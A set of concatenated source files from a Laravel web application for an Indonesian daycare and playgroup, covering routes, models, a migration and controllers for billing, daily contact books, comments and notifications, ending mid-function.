Route::group(['prefix' => 'profile', 'as' => 'profile.'], function () {
Route::get('/typeclass', 'PageController@selectClassProfile')->name('typeclass');
Route::get('/DayCare/students/', 'PageController@studentsProfileDayCare')->name('dc.student');
Route::get('/KelompokBermain/students', 'PageController@studentsProfileKelompokBermain')->name('kb.student');
Route::group(['prefix' => 'schedule', 'as' => 'schedule.'], function () {
Route::get('/{kelas}/form', 'PageController@scheduleForm')->name('form');
Route::get('/{kelas}/list', 'PageController@scheduleList')->name('list');
Route::post('/add', 'JadwalController@addSchedule')->name('add');
Route::post('/edit/{id}', 'JadwalController@editSchedule')->name('edit');
Route::delete('/delete/{id}', 'JadwalController@deleteSchedule')->name('delete');
});
Route::group(['prefix' => 'pengumuman', 'as' => 'pengumuman.'], function () {
Route::get('/{kelas}/form/add', 'PageController@addPengumuman')->name('form.add');
Route::get('/{kelas}/form/edit/{id}', 'PageController@editPengumuman')->name('form.edit');
Route::get('/{kelas}/list', 'PageController@pengumumanList')->name('list');
Route::get('/{kelas}/show/{id}', 'PageController@seePengumuman')->name('show');
});
Route::group(['prefix' => 'edit/{student_id}', 'as' => 'edit.'], function () {
Route::get('/details', 'PageController@profileDetails')->name('details');
Route::get('/student', 'StudentController@editStudentProfileForm')->name('student.form');
Route::get('/father', 'StudentController@editFatherProfileForm')->name('father.form');
Route::get('/mother', 'StudentController@editMotherProfileForm')->name('mother.form');
Route::post('/student', 'StudentController@editStudentProfile')->name('student.post');
Route::post('/father', 'StudentController@editFatherProfile')->name('father.post');
Route::post('/mother', 'StudentController@editMotherProfile')->name('mother.post');
Route::post('/graduate', 'StudentController@graduateStudent')->name('graduate');
Route::post('/photo', 'StudentController@editPhotoProfileStudent')->name('photoProfile');
Route::post('/ungraduate', 'StudentController@cancelGraduateStudent')->name('ungraduate');
});
Route::group(['prefix' => 'tagihan/{kelas}', 'as' => 'tagihan.'], function () {
Route::get('/lists', 'PageController@tagihanLists')->name('list');
Route::get('/kwitansi/{student_id}/{tagihan_id}', 'PageController@showKwitansi')->name('kwitansi');
Route::get('/form/add/{student_id}', 'PageController@tagihanAdd')->name('form.add');
Route::get('/form/edit/{student_id}/{tagihan_id}', 'PageController@tagihanEdit')->name('form.edit');
Route::post('/add/{student_id}', 'PembayaranController@addTagihan')->name('add');
Route::post('/edit/{student_id}/{tagihan_id}', 'PembayaranController@editTagihanAdmin')->name('edit');
Route::post('/uploadBukti/{student_id}/{tagihan_id}', 'PembayaranController@editTagihan')->name('upload');
Route::post('/lunaskan/{student_id}/{tagihan_id}', 'PembayaranController@lunaskan')->name('lunaskan');
Route::post('/cancelLunaskan/{student_id}/{tagihan_id}', 'PembayaranController@cancelLunaskan')->name('cancelLunaskan');
Route::delete('/delete/{student_id}/{tagihan_id}', 'PembayaranController@deleteTagihan')->name('delete');
});
});
Route::group(['prefix' => 'dailyBook', 'as' => 'dailyBook.'], function () {
Route::get('/students/{class}', 'PageController@studentsList')->name('student');
Route::group(['prefix' => '{daily_book_id}'], function () {
Route::group(['prefix' => 'comments', 'as' => 'comments.'], function () {
Route::get('/show', 'PageController@showComments')->name('show');
Route::get('/send', 'PageController@sendComments')->name('send');
Route::post('/add', 'DailyBooksController@addComments')->name('add');
});
});
Route::group(['prefix' => '{student_id}'], function () {
Route::get('/form', 'PageController@formDailyBook')->name('form');
Route::get('/date/{month}/{year}', 'PageController@selectDate')->name('date');
Route::get('/month', 'PageController@selectMonth')->name('month');
Route::post('/add', 'DailyBooksController@addDailyBooks')->name('add');
});
});
Route::group(['prefix' => 'admin', 'as' => 'admin.'], function () {
Route::get('/home', 'HomeController@administratorHome')->name('home');
Route::group(['prefix' => 'schedule', 'as' => 'schedule.'], function () {
Route::post('/add', 'JadwalController@addSchedule')->name('add');
Route::post('/edit/{id}', 'JadwalController@editSchedule')->name('edit');
Route::delete('/delete/{id}', 'JadwalController@deleteSchedule')->name('delete');
});
Route::resource('berita', 'BeritaController');
Route::resource('pengumuman', 'PengumumanController');
Route::post('gantiTandaTangan', 'PembayaranController@gantiTandaTangan')->name('ganti.ttd');
});
Route::get('/notification', 'PageController@showAllNotifications')->name('notification');
Route::get('/notification/{id}', 'NotificationController@redirectToNotificationUrl')->name('notification.read');
Route::group(['prefix' => 'orangtua', 'as' => 'orangtua.'], function () {
Route::get('/home', 'HomeController@parentHome')->name('home');
});
Route::group(['prefix' => 'guru', 'as' => 'guru.'], function () {
Route::get('/home', 'HomeController@teacherHome')->name('home');
});
Route::group(['prefix' => 'fasilitator', 'as' => 'fasilitator.'], function () {
Route::get('/home', 'HomeController@fasilitatorHome')->name('home');
});
Route::group(['prefix' => 'co-fasilitator', 'as' => 'cofasilitator.'], function () {
Route::get('/home', 'HomeController@cofasilitatorHome')->name('home');
});
<file_sep>// insert commas as thousands separators
function addCommas(n){
var rx= /(\d+)(\d{3})/;
return String(n).replace(/^\d+/, function(w){
while(rx.test(w)){
w= w.replace(rx, '$1,$2');
}
return w;
});
}
// return integers and decimal numbers from input
// optionally truncates decimals- does not 'round' input
function validDigits(n, dec){
n= n.replace(/[^\d\.]+/g, '');
var ax1= n.indexOf('.'), ax2= -1;
if(ax1!= -1){
++ax1;
ax2= n.indexOf('.', ax1);
if(ax2> ax1) n= n.substring(0, ax2);
if(typeof dec=== 'number') n= n.substring(0, ax1+dec);
}
return n;
}
window.onload= function(){
var n1= document.getElementById('jumlahtagihan');
n1.value='';
n1.onkeyup= n1.onchange= function(e){
e=e|| window.event;
var who=e.target || e.srcElement,temp;
if(who.id==='number2') temp= validDigits(who.value,2);
else temp= validDigits(who.value);
who.value= addCommas(temp);
}
n1.onblur= function(){
var temp=parseFloat(validDigits(n1.value));
if(temp)n1.value=addCommas(temp);
}
}
$("form").submit(function(e){
var n1= document.getElementById('jumlahtagihan');
n1.value = n1.value.replace(/,/g, '');
});
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class DailyBook extends Model
{
/**
* The attributes that are mass assignable.
*
* @var array
*/
protected $fillable = [
'student_id', 'pembuat', 'tanggal', 'tema', 'subtema', 'snack',
'keterangan_fisik', 'keterangan_kognitif', 'keterangan_sosial',
'makan_siang', 'tidur_siang', 'catatan_khusus', 'kegiatan',
'url_lampiran', 'kelas', 'dibaca'
];
public function student()
{
return $this->belongsTo(Student::class);
}
public function comments()
{
return $this->hasOne(Comments::class);
}
}
<file_sep><?php
namespace App\Http\Controllers;
use App\Berita;
use App\Helper\WebHelper;
use Illuminate\Http\Request;
class BeritaController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
//
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
//return view form
return view('pages.CreateNews', ['route' => 'create']);
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
//
$this->validate($request,[
'judulBerita' => 'required',
'isiBerita' => 'required',
'fotoBerita' => 'image|nullable|max:1999'
]);
$image = WebHelper::saveImageToPublic($request->file('fotoBerita'), '/picture/news');
$berita = new Berita;
$berita->judul = $request['judulBerita'];
$berita->isi = $request['isiBerita'];
$berita->gambar = $image;
$berita->save();
return redirect()->route('success');
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
//
$berita = Berita::find($id);
return view('pages.ShowNews', ['news' => $berita]);
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
//
$berita = Berita::find($id);
return view('pages.CreateNews', ['berita' => $berita, 'route' => 'edit']);
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
$berita = Berita::find($id);
$this->validate($request,[
'judulBerita' => 'required',
'isiBerita' => 'required',
'fotoBerita' => 'image|nullable|max:1999'
]);
// tambah store gambar
if($request->hasFile('fotoBerita')){
$image = WebHelper::saveImageToPublic($request->file('fotoBerita'), '/picture/news');
$berita->gambar = $image;
}
$berita->judul = $request['judulBerita'];
$berita->isi = $request['isiBerita'];
$berita->save();
return redirect()->route('success');
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//
$berita = Berita::find($id);
$berita->delete();
return redirect()->route('success');
}
}
<file_sep><?php
namespace App\Http\Controllers;
use App\Pembayaran;
use App\Student;
use App\Helper\WebHelper;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
class PembayaranController extends Controller
{
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct()
{
$this->middleware('auth');
}
public function addTagihan(Request $request, $kelas, $student_id)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->description == 'Full Access') {
$student = Student::where('id', $student_id)->first();
$tagihan = new Pembayaran;
$tagihan->jenis_tagihan = $request->jenis_tagihan;
$tagihan->jumlah_tagihan = $request->jumlah_tagihan;
$tagihan->status = $request->status;
$tagihan->deskripsi = $request->deskripsi;
$tagihan->bulan_tagihan = $request->bulan_tagihan;
if ($request->has('bukti_pembayaran')) {
$image = WebHelper::saveImageToPublic($request->file('bukti_pembayaran'), '/picture/pembayaran');
$tagihan->bukti_pembayaran = $image;
}
$tagihan->kelas = $kelas;
$student->pembayaran()->save($tagihan);
$student = Student::where('id', $student_id)->first();
$notificationMessage = ', telah menambahkan Tagihan Pembayaran untuk siswa ' . $student->nama_lengkap . '! :)';
$notificationUrl = 'profile/edit/' . $student->id . '/details';
NotificationController::generateNotificationToSpecificUser($user->roles()->first()->name, $notificationMessage, $student->user_id, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('profile.tagihan.list', ['kelas' => $student->kelas])]);
} else {
return redirect()->route('login');
}
}
public function editTagihan(Request $request, $kelas, $student_id, $tagihan_id)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->name == 'Orangtua') {
$student = Student::where('id', $student_id)->first();
if ($request->has('bukti_pembayaran')) {
$image = WebHelper::saveImageToPublic($request->file('bukti_pembayaran'), '/picture/pembayaran');
$tagihan = Pembayaran::where('id', $tagihan_id)->first()->update(
[
'bukti_pembayaran' => $image,
]
);
}
$student = Student::where('user_id', $user->id)->first();
$notificationMessage = ', telah mengupload bukti pembayaran untuk siswa ' . $student->nama_lengkap . '! :)';
$notificationUrl = 'profile/edit/' . $student->id . '/details';
NotificationController::generateNotificationFromParent('Orangtua ' . $user->name, $notificationMessage, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('profile.edit.details', ['student_id' => $student->id])]);
} else {
return redirect()->route('login');
}
}
public function editTagihanAdmin(Request $request, $kelas, $student_id, $tagihan_id)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->description == 'Full Access') {
if ($request->has('bukti_pembayaran')) {
$image = WebHelper::saveImageToPublic($request->file('bukti_pembayaran'), 'picture/pembayaran');
$tagihan = Pembayaran::where('id', $tagihan_id)->update(
[
'jenis_tagihan' => $request->jenis_tagihan,
'jumlah_tagihan' => $request->jumlah_tagihan,
'status' => $request->status,
'deskripsi' => $request->deskripsi,
'bulan_tagihan' => $request->bulan_tagihan,
'bukti_pembayaran' => $image,
]
);
} else {
$tagihan = Pembayaran::where('id', $tagihan_id)->update(
[
'jenis_tagihan' => $request->jenis_tagihan,
'jumlah_tagihan' => $request->jumlah_tagihan,
'status' => $request->status,
'deskripsi' => $request->deskripsi,
'bulan_tagihan' => $request->bulan_tagihan,
]
);
}
$student = Student::where('id', $student_id)->first();
// $notificationMessage = ', telah mengubah Tagihan Pembayaran untuk siswa ' . $student->nama_lengkap . '! :)';
// $notificationUrl = 'profile/edit/' . $student->id . '/details';
// NotificationController::generateNotificationToSpecificUser($user->name, $notificationMessage, $student->user_id, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('profile.tagihan.list', ['kelas' => $student->kelas])]);
} else {
return redirect()->route('login');
}
}
public function lunaskan(Request $request, $kelas, $student_id, $tagihan_id)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->description == 'Full Access') {
$tagihan_list = Pembayaran::where('student_id', $student_id)->where('status', 'Belum Lunas')->get();
$new_tagihan_id = Pembayaran::max('tagihan_id') + 1;
foreach ($tagihan_list as $tagihan) {
$tagihan->update(
[
'status' => 'Lunas',
'tagihan_id' => $new_tagihan_id
]
);
}
// $tagihan = Pembayaran::where('id', $tagihan_id)->first()->update(
// [
// 'status' => 'Lunas',
// ]
// );
$student = Student::where('id', $student_id)->first();
// $notificationMessage = ', telah mengkonfirmasi pelunasan Tagihan Pembayaran untuk siswa ' . $student->nama_lengkap . '! :)';
// $notificationUrl = 'profile/edit/' . $student->id . '/details';
// NotificationController::generateNotificationToSpecificUser($user->name, $notificationMessage, $student->user_id, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('profile.tagihan.list', ['kelas' => $student->kelas])]);
} else {
return redirect()->route('login');
}
}
public function cancelLunaskan(Request $request, $kelas, $student_id, $tagihan_id)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->description == 'Full Access') {
$tagihan = Pembayaran::where('id', $tagihan_id)->first()->update(
[
'status' => 'Belum Lunas',
'tagihan_id' => 0
]
);
$student = Student::where('id', $student_id)->first();
// $notificationMessage = ', telah membatalkan konfirmasi pelunasan Tagihan Pembayaran untuk siswa ' . $student->nama_lengkap . '! :)';
// $notificationUrl = 'profile/edit/' . $student->id . '/details';
// NotificationController::generateNotificationToSpecificUser($user->name, $notificationMessage, $student->user_id, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('profile.tagihan.list', ['kelas' => $student->kelas])]);
} else {
return redirect()->route('login');
}
}
public function deleteTagihan(Request $request, $kelas, $student_id, $tagihan_id)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->description == 'Full Access') {
$tagihan = Pembayaran::where('id', $tagihan_id);
$tagihan->delete();
$student = Student::where('id', $student_id)->first();
// $notificationMessage = ', telah menghapus Tagihan Pembayaran untuk siswa ' . $student->nama_lengkap . '! :)';
// $notificationUrl = 'profile/edit/' . $student->id . '/details';
// NotificationController::generateNotificationToSpecificUser($user->name, $notificationMessage, $student->user_id, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('profile.tagihan.list', ['kelas' => $student->kelas])]);
} else {
return redirect()->route('login');
}
}
public function gantiTandaTangan(Request $request)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->description == 'Full Access') {
if ($request->has('ttd')) {
$file = $request->file('ttd');
$imageName = 'ttd' . '.' . $file->getClientOriginalExtension();
$dir = '/picture/tandaTangan';
$destinationPath = public_path($dir);
$file->move($destinationPath, $imageName);
}
return redirect()->back();
}
return redirect()->route('login');
}
}
<file_sep><?php
namespace App;
class FormattedPembayaran
{
}
<file_sep><?php
namespace App\Http\Controllers;
use App\Comments;
use App\DailyBook;
use App\Student;
use App\Helper\WebHelper;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
class DailyBooksController extends Controller
{
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct()
{
$this->middleware('auth');
}
public function addDailyBooksDayCare(Request $request, $student_id)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->name == 'Orangtua') {
return redirect()->route('orangtua.home');
} else {
$student = Student::where('id', $student_id)->first();
if ($request->has('lampiran')) {
$image = WebHelper::saveImageToPublic($request->file('lampiran'), '/picture/daily_books');
}
$tanggal = WebHelper::getValidatedDate($request->tanggal);
$dailyBook = new DailyBook;
$dailyBook->pembuat = $request->pembuat;
$dailyBook->tanggal = $tanggal;
$dailyBook->tema = $request->tema;
$dailyBook->subtema = $request->subtema;
$dailyBook->snack = $request->snack;
$dailyBook->keterangan_fisik = $request->keteranganFisik;
$dailyBook->keterangan_kognitif = $request->keteranganKognitif;
$dailyBook->keterangan_sosial = $request->keteranganSosial;
$dailyBook->makan_siang = $request->makanSiang;
$dailyBook->tidur_siang = $request->tidurSiang;
$dailyBook->catatan_khusus = $request->catatanKhusus;
if ($request->has('lampiran')) {
$dailyBook->url_lampiran = $image;
}
$dailyBook->kelas = 'Day Care';
$dailyBook->dibaca = False;
$dailyBook->dipublish = False;
$student->dailyBook()->save($dailyBook);
// $user_id = Student::where('id', $student_id)->first()->user_id;
// $notificationMessage = ', telah menambahkan Buku Penghubung untuk siswa ' . $student->nama_lengkap . '! :)';
// $notificationUrl = 'dailyBook/DayCare/' . $student_id . '/show/' . $tanggal->day . '/' . $tanggal->month . '/' . $tanggal->year;
// NotificationController::generateNotificationToSpecificUser($user->name, $notificationMessage, $user_id, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('dailyBook.dc.student')]);
}
}
public function addDailyBooksKelompokBermain(Request $request, $student_id)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->name == 'Orangtua') {
return redirect()->route('orangtua.home');
} else {
$student = Student::where('id', $student_id)->first();
if ($request->has('lampiran')) {
$image = WebHelper::saveImageToPublic($request->file('lampiran'), '/picture/daily_books');
}
$tanggal = WebHelper::getValidatedDate($request->tanggal);
$dailyBook = new DailyBook;
$dailyBook->pembuat = $request->pembuat;
$dailyBook->tanggal = $tanggal;
$dailyBook->tema = $request->tema;
$dailyBook->subtema = $request->subtema;
$dailyBook->kegiatan = $request->kegiatan;
$dailyBook->catatan_khusus = $request->catatanKhusus;
if ($request->has('lampiran')) {
$dailyBook->url_lampiran = $image;
}
$dailyBook->kelas = 'Kelompok Bermain';
$dailyBook->dibaca = False;
$dailyBook->dipublish = False;
$student->dailyBook()->save($dailyBook);
// $user_id = Student::where('id', $student_id)->first()->user_id;
// $notificationMessage = ', telah menambahkan Buku Penghubung untuk siswa ' . $student->nama_lengkap . '! :)';
// $notificationUrl = 'dailyBook/KelompokBermain/' . $student_id . '/show/' . $tanggal->day . '/' . $tanggal->month . '/' . $tanggal->year;
// NotificationController::generateNotificationToSpecificUser($user->name, $notificationMessage, $user_id, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('dailyBook.kb.student')]);
}
}
public function publishDailyBookDayCare(Request $request, $student_id, $dailyBook)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->name == 'Orangtua') {
return redirect()->route('orangtua.home');
} else {
// $student = Student::where('id', $student_id)->first();
if ($request->has('lampiran')) {
$image = WebHelper::saveImageToPublic($request->file('lampiran'), '/picture/daily_books');
$dailyBook = DailyBook::where('id', $dailyBook)->update(
[
'pembuat' => $request->pembuat,
'tanggal' => $request->tanggal,
'tema' => $request->tema,
'subtema' => $request->subtema,
'snack' => $request->snack,
'keterangan_fisik' => $request->keteranganFisik,
'keterangan_kognitif' => $request->keteranganKognitif,
'keterangan_sosial' => $request->keteranganSosial,
'makan_siang' => $request->makanSiang,
'tidur_siang' => $request->tidurSiang,
'catatan_khusus' => $request->catatanKhusus,
'url_lampiran' => $image,
'kelas' => 'Day Care',
'dipublish' => True,
]
);
} else {
$dailyBook = DailyBook::where('id', $dailyBook)->update(
[
'pembuat' => $request->pembuat,
'tanggal' => $request->tanggal,
'tema' => $request->tema,
'subtema' => $request->subtema,
'snack' => $request->snack,
'keterangan_fisik' => $request->keteranganFisik,
'keterangan_kognitif' => $request->keteranganKognitif,
'keterangan_sosial' => $request->keteranganSosial,
'makan_siang' => $request->makanSiang,
'tidur_siang' => $request->tidurSiang,
'catatan_khusus' => $request->catatanKhusus,
'kelas' => 'Day Care',
'dipublish' => True,
]
);
}
// $student->dailyBook()->save($dailyBook);
$tanggal = WebHelper::getValidatedDate($request->tanggal);
$student = Student::where('id', $student_id)->first();
$notificationMessage = ', telah mempublikasikan Buku Penghubung untuk siswa ' . $student->nama_lengkap . '! :)';
$notificationUrl = 'dailyBook/DayCare/' . $student_id . '/show/' . $tanggal->day . '/' . $tanggal->month . '/' . $tanggal->year;
NotificationController::generateNotificationToSpecificUser($user->roles()->first()->name, $notificationMessage, $student->user_id, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('dailyBook.dc.student')]);
}
}
public function publishDailyBookKelompokBermain(Request $request, $student_id, $dailyBook)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->name == 'Orangtua') {
return redirect()->route('orangtua.home');
} else {
// $student = Student::where('id', $student_id)->first();
if ($request->has('lampiran')) {
$image = WebHelper::saveImageToPublic($request->file('lampiran'), '/picture/daily_books');
$dailyBook = DailyBook::where('id', $dailyBook)->update(
[
'pembuat' => $request->pembuat,
'tanggal' => $request->tanggal,
'tema' => $request->tema,
'subtema' => $request->subtema,
'kegiatan' => $request->kegiatan,
'catatan_khusus' => $request->catatanKhusus,
'kelas' => 'Kelompok Bermain',
'url_lampiran' => $image,
'dipublish' => True,
]
);
} else {
$dailyBook = DailyBook::where('id', $dailyBook)->update(
[
'pembuat' => $request->pembuat,
'tanggal' => $request->tanggal,
'tema' => $request->tema,
'subtema' => $request->subtema,
'kegiatan' => $request->kegiatan,
'catatan_khusus' => $request->catatanKhusus,
'kelas' => 'Kelompok Bermain',
'dipublish' => True,
]
);
}
// $student->dailyBook()->save($dailyBook);
$tanggal = WebHelper::getValidatedDate($request->tanggal);
$student = Student::where('id', $student_id)->first();
$notificationMessage = ', telah mempublikasikan Buku Penghubung untuk siswa ' . $student->nama_lengkap . '! :)';
$notificationUrl = 'dailyBook/KelompokBermain/' . $student_id . '/show/' . $tanggal->day . '/' . $tanggal->month . '/' . $tanggal->year;
NotificationController::generateNotificationToSpecificUser($user->roles()->first()->name, $notificationMessage, $student->user_id, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('dailyBook.kb.student')]);
}
}
// public function isRead($student_id, $dailyBook)
// {
// // $student = Student::where('id', $student_id)->first();
// $dailyBook->dibaca = True;
// $dailyBook->save();
// // $student->dailyBook()->save($dailyBook);
// return redirect()->route('orangtua.home');
// }
public function addComments (Request $request, $daily_book_id)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else {
$comment = new Comments;
$comment->message = $request->message;
$comment->user()->associate($user);
$comment->dailyBook()->associate($daily_book_id);
$comment->save();
if ($user->roles()->first()->name == 'Orangtua') {
$student = Student::where('user_id', $user->id)->first();
$notificationMessage = ', telah menambahkan komentar untuk Buku Penghubung siswa ' . $student->nama_lengkap . '! :)';
$notificationUrl = 'dailyBook/' . $daily_book_id . '/comments/show';
NotificationController::generateNotificationFromParent('Orangtua ' . $user->name, $notificationMessage, $notificationUrl);
} else {
$student_id = DailyBook::where('id', $daily_book_id)->first()->student_id;
$student = Student::where('id', $student_id)->first();
$user_id = $student->user_id;
$notificationMessage = ', telah menambahkan komentar untuk Buku Penghubung siswa ' . $student->nama_lengkap . '! :)';
$notificationUrl = 'dailyBook/' . $daily_book_id . '/comments/show';
NotificationController::generateNotificationToSpecificUser($user->roles()->first()->name, $notificationMessage, $user_id, $notificationUrl);
}
return redirect()->route('successAndRedirect', ['url' => route('dailyBook.comments.show', ['daily_book_id' => $daily_book_id])]);
}
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Pembayaran extends Model
{
//
protected $table = 'pembayaran';
/**
* The attributes that are mass assignable.
*
* @var array
*/
protected $fillable = [
'student_id', 'tagihan_id', 'kelas', 'jenis_tagihan', 'bulan_tagihan', 'jumlah_tagihan', 'deskripsi', 'status', 'bukti_pembayaran'
];
public function student(){
return $this->belongsTo(Student::class);
}
}
<file_sep><?php
namespace App\Http\Controllers;
use App\Notification;
use App\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
class NotificationController extends Controller
{
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct()
{
$this->middleware('auth');
}
public static function generateNotificationToSpecificUser($sender, $content, $user_id, $redirect_url) {
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
}
$notification = new Notification;
$notification->sender = $sender;
$notification->content = $content;
$notification->redirect_url = $redirect_url;
$notification->is_read = false;
$notification->save();
$user = User::where('id', $user_id)->first();
$notification->users()->attach($user);
return true;
}
public static function generateNotificationToSpecificClass($sender, $content, $class, $redirect_url)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
}
$notification = new Notification;
$notification->sender = $sender;
$notification->content = $content;
$notification->redirect_url = $redirect_url;
$notification->is_read = false;
$notification->save();
if ($class == 'Day Care') {
$users = User::whereHas('student', function ($query) {
$query->where('kelas', 'Day Care');
})->get();
} elseif ($class == 'Kelompok Bermain') {
$users = User::whereHas('student', function ($query) {
$query->where('kelas', 'Kelompok Bermain');
})->get();
}
$notification->users()->attach($users);
return true;
}
public static function generateNotificationToAllStudent($sender, $content, $redirect_url)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
}
$notification = new Notification;
$notification->sender = $sender;
$notification->content = $content;
$notification->redirect_url = $redirect_url;
$notification->is_read = false;
$notification->save();
$users = User::whereHas('roles', function ($query) {
$query->where('name', 'Orangtua');
})->get();
$notification->users()->attach($users);
return true;
}
public static function generateNotificationFromParent($sender, $content, $redirect_url)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
}
$notification = new Notification;
$notification->sender = $sender;
$notification->content = $content;
$notification->redirect_url = $redirect_url;
$notification->is_read = false;
$notification->save();
$users = User::whereHas('roles', function ($query) {
$query->where('name', '!=', 'Orangtua');
})->get();
$notification->users()->attach($users);
return true;
}
public function redirectToNotificationUrl($id)
{
$notification = Notification::where('id', $id)->update(['is_read' => True]);
$notification = Notification::where('id', $id)->first();
return redirect($notification->redirect_url);
}
}
<file_sep><?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateDailyBooksTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('daily_books', function (Blueprint $table) {
$table->increments('id');
$table->integer('student_id')->unsigned();
$table->string('pembuat')->nullable();
$table->date('tanggal')->nullable();
$table->string('tema')->nullable();
$table->string('subtema')->nullable();
$table->string('keterangan_fisik')->nullable();
$table->string('keterangan_kognitif')->nullable();
$table->string('keterangan_sosial')->nullable();
$table->string('kegiatan')->nullable();
$table->string('snack')->nullable();
$table->string('makan_siang')->nullable();
$table->string('tidur_siang')->nullable();
$table->string('catatan_khusus')->nullable();
$table->string('url_lampiran')->nullable();
$table->string('kelas');
$table->boolean('dibaca');
$table->boolean('dipublish');
$table->timestamps();
$table->foreign('student_id')->references('id')->on('students');
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('daily_books');
}
}
<file_sep><?php
namespace App\Http\Controllers;
use DB;
use Carbon\Carbon;
use App\Berita;
use App\Jadwal;
use App\Notification;
use App\JadwalGambar;
use App\Pengumuman;
use App\Pembayaran;
use App\FormattedPembayaran;
use App\Comments;
use App\DailyBook;
use App\Student;
use App\Helper\WebHelper;
use Illuminate\Http\Request;
class PageController extends Controller
{
// MAIN
public function index() {
$news = Berita::paginate(3);
return view('pages.Homepage', ['news' => $news]);
}
public function success() {
return view('pages.SuccessMessage', ['url' => route('login')]);
}
public function successAndRedirect($url) {
return view('pages.SuccessMessage', ['url' => $url]);
}
public function editProfileSiswa() {
return view('pages.EditProfileSiswa');
}
public function editProfileAyah() {
return view('pages.EditProfileAyah');
}
public function editProfileIbu() {
return view('pages.EditProfileIbu');
}
public function pengumumanKegiatan() {
return view('pages.pengumumanKegiatan');
}
public function ubahPengumuman() {
return view('pages.UbahPengumuman');
}
public function showPengumuman() {
return view('pages.ShowPengumuman');
}
public function jadwalPerBulan() {
return view('pages.JadwalPerBulan');
}
public function tambahJadwalPerBulan() {
return view('pages.TambahJadwalPerBulan');
}
public function tagihanSiswa() {
return view('pages.tagihanSiswa');
}
public function addTagihan() {
return view('pages.tambahTagihan');
}
public function kwitansi() {
return view('pages.kwitansi');
}
public function notification() {
return view('pages.notification');
}
// BUKU PENGHUBUNG
public function selectClassDailyBook() {
if (auth()->user() == null) {return redirect()->route('login');}
return view('pages.SelectClass', ['route' => 'dailyBook']);
}
// BUKU PENGHUBUNG DAY CARE
public function dayCareStudents() {
if (auth()->user() == null) {return redirect()->route('login');}
$role = auth()->user()->roles()->first()->name;
if ($role == 'Orangtua') {
return redirect()->route('orangtua.home');
} else {
$students = Student::where('kelas', 'Day Care')->orderBy('nama_lengkap')->get();
return view('pages.SelectStudent', ['students' => $students, 'route' => 'dayCareDailyBook', 'class' => 'Day Care']);
}
}
public function dayCareSelectMonth($student_id) {
if (auth()->user() == null) {return redirect()->route('login');}
$months = WebHelper::getMonthListFromDate(Carbon::parse('first day of January ' . Carbon::now()->year));
$end = Carbon::today()->startOfMonth()->format('m');
return view('pages.SelectMonthBukuPenghubung', ['months' => $months, 'student_id' => $student_id, 'end' => $end, 'class' => 'Day Care']);
}
public function dayCareSelectDate($student_id, $month, $year) {
if (auth()->user() == null) {return redirect()->route('login');}
$role = auth()->user()->roles()->first()->name;
if ($role != 'Orangtua') {
$dates = DB::table('daily_books')
->select(DB::raw('YEAR(tanggal) year, MONTH(tanggal) month, MONTHNAME(tanggal) month_name, DAY(tanggal) day, id, dipublish, dibaca'))
->where('student_id', '=', $student_id)
->whereYear('tanggal', '=', $year)
->whereMonth('tanggal', '=', $month)
->groupBy('year')
->groupBy('month')
->groupBy('month_name')
->groupBy('day')
->groupBy('id')
->groupBy('dibaca')
->orderBy('dibaca')
->orderBy('year', 'desc')
->orderBy('month', 'desc')
->orderBy('day', 'desc')
->get();
} else {
